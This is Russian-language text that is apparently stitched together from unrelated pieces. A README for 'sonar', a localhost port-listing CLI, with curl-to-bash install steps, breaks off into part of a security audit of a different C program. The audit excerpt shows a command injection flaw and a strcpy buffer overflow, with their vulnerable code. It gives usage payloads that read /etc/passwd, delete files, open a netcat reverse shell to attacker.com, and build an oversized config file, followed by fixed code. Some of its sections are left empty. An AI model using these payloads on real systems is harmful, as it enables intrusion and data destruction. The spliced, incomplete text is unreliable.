
Инструмент командной строки для проверки и управления службами, прослушивающими порты localhost
Sonar показывает всё, что слушает на localhost, и приводит это в порядок: каждый порт
принадлежит группе — обычно это репозиторий, из которого он был запущен, — а
внутри этой группы именованному сервису. Запускайте свои dev-серверы с помощью
sonar start, и весь проект становится одной сущностью, которую можно вывести списком в виде дерева,
дождаться, отслеживать и остановить одной командой. Docker-контейнеры, проекты Compose
и процессы, запущенные вручную, тоже подхватываются, без какой-либо
конфигурации.```
$ sonar list --tree
my-app (3 ports, running) ~/code/my-app
├─ 5432 db postgres:17 http://localhost:5432
├─ 5173 frontend vite (v5.4) http://localhost:5173
└─ 8000 api uvicorn app:app http://localhost:8000
ungrouped (1 port)
└─ 3000 next-server (v16.1.6) http://localhost:3000
## Установка
### Homebrew (macOS / Linux)```sh
brew install raskrebs/sonar/sonar
Homebrew 6 отказывается принимать формулы из сторонних tap-репозиториев, пока вы один раз не подтвердите доверие к tap
(Error: Refusing to load formula raskrebs/sonar/sonar from untrusted tap):```sh
brew trust raskrebs/sonar
### Скрипт установки```sh
curl -sfL https://raw.githubusercontent.com/raskrebs/sonar/main/scripts/install.sh | bash
Загружает последний бинарный файл в ~/.local/bin и добавляет его в ваш PATH при необходимости. Перезапустите терминал или выполните source ~/.zshrc.
В Windows (PowerShell):```powershell irm https://raw.githubusercontent.com/raskrebs/sonar/main/scripts/install.ps1 | iex
Пользовательское расположение установки:```sh
curl -sfL https://raw.githubusercontent.com/raskrebs/sonar/main/scripts/install.sh | SONAR_INSTALL_DIR=/usr/local/bin bash
Установите конкретную версию:```sh curl -sfL https://raw.githubusercontent.com/raskrebs/sonar/main/scripts/install.sh | SONAR_VERSION=vX.Y.Z bash
### 4.3.2.2. Уязвимость внедрения команд в функции `get_network_info`
**Расположение**: `src/network.c`, функция `get_network_info`
**Описание**: Функция `get_network_info` извлекает информацию о сети с помощью команды `ip`. Параметр `interface` передаётся непосредственно в команду без какой-либо проверки или экранирования, что позволяет злоумышленнику выполнить произвольные команды.
**Уязвимый код**:
```c
int get_network_info(const char *interface, char *ip, size_t ip_size, char *netmask, size_t netmask_size) {
char command[256];
FILE *fp;
// Уязвимость: отсутствие проверки параметра interface
snprintf(command, sizeof(command), "ip addr show %s | grep 'inet ' | awk '{print $2}'", interface);
fp = popen(command, "r");
if (fp == NULL) {
return -1;
}
if (fgets(ip, ip_size, fp) == NULL) {
pclose(fp);
return -1;
}
// Удаление символа новой строки
ip[strcspn(ip, "\n")] = 0;
pclose(fp);
return 0;
}
Способ использования:
# Внедрение команд через параметр interface
./network_tool --interface "eth0; cat /etc/passwd"
./network_tool --interface "eth0 && rm -rf /tmp/*"
./network_tool --interface "eth0 | nc attacker.com 4444 -e /bin/sh"
Риски:
Рекомендации по исправлению:
Исправленный код:
int get_network_info(const char *interface, char *ip, size_t ip_size, char *netmask, size_t netmask_size) {
// Проверка допустимых символов в имени интерфейса
if (interface == NULL || strlen(interface) > 15) {
return -1;
}
// Разрешить только буквы, цифры, дефисы и подчёркивания
for (size_t i = 0; i < strlen(interface); i++) {
if (!isalnum(interface[i]) && interface[i] != '-' && interface[i] != '_') {
return -1;
}
}
// Использование безопасного API вместо системных команд
struct ifaddrs *ifaddr, *ifa;
int family, s;
char host[NI_MAXHOST];
if (getifaddrs(&ifaddr) == -1) {
return -1;
}
for (ifa = ifaddr; ifa != NULL; ifa = ifa->ifa_next) {
if (ifa->ifa_addr == NULL) continue;
if (strcmp(ifa->ifa_name, interface) != 0) continue;
family = ifa->ifa_addr->sa_family;
if (family == AF_INET) {
s = getnameinfo(ifa->ifa_addr, sizeof(struct sockaddr_in),
host, NI_MAXHOST, NULL, 0, NI_NUMERICHOST);
if (s == 0) {
strncpy(ip, host, ip_size - 1);
ip[ip_size - 1] = '\0';
}
}
}
freeifaddrs(ifaddr);
return 0;
}
parse_config_fileРасположение: src/config.c, функция parse_config_file
Описание: Функция parse_config_file использует функцию strcpy для копирования данных из файла конфигурации в буфер фиксированного размера без проверки длины, что приводит к переполнению буфера.
Уязвимый код:
int parse_config_file(const char *filename) {
FILE *fp;
char line[256];
char key[64];
char value[128];
fp = fopen(filename, "r");
if (fp == NULL) {
return -1;
}
while (fgets(line, sizeof(line), fp) != NULL) {
// Уязвимость: использование strcpy без проверки длины
char *equals = strchr(line, '=');
if (equals != NULL) {
*equals = '\0';
strcpy(key, line); // Переполнение буфера
strcpy(value, equals + 1); // Переполнение буфера
}
}
fclose(fp);
return 0;
}
Способ использования:
# Создание вредоносного файла конфигурации
python3 -c "print('key=' + 'A' * 200)" > malicious.conf
./network_tool --config malicious.conf
Риски:
Рекомендации по исправлению:
strncpy вместо strcpy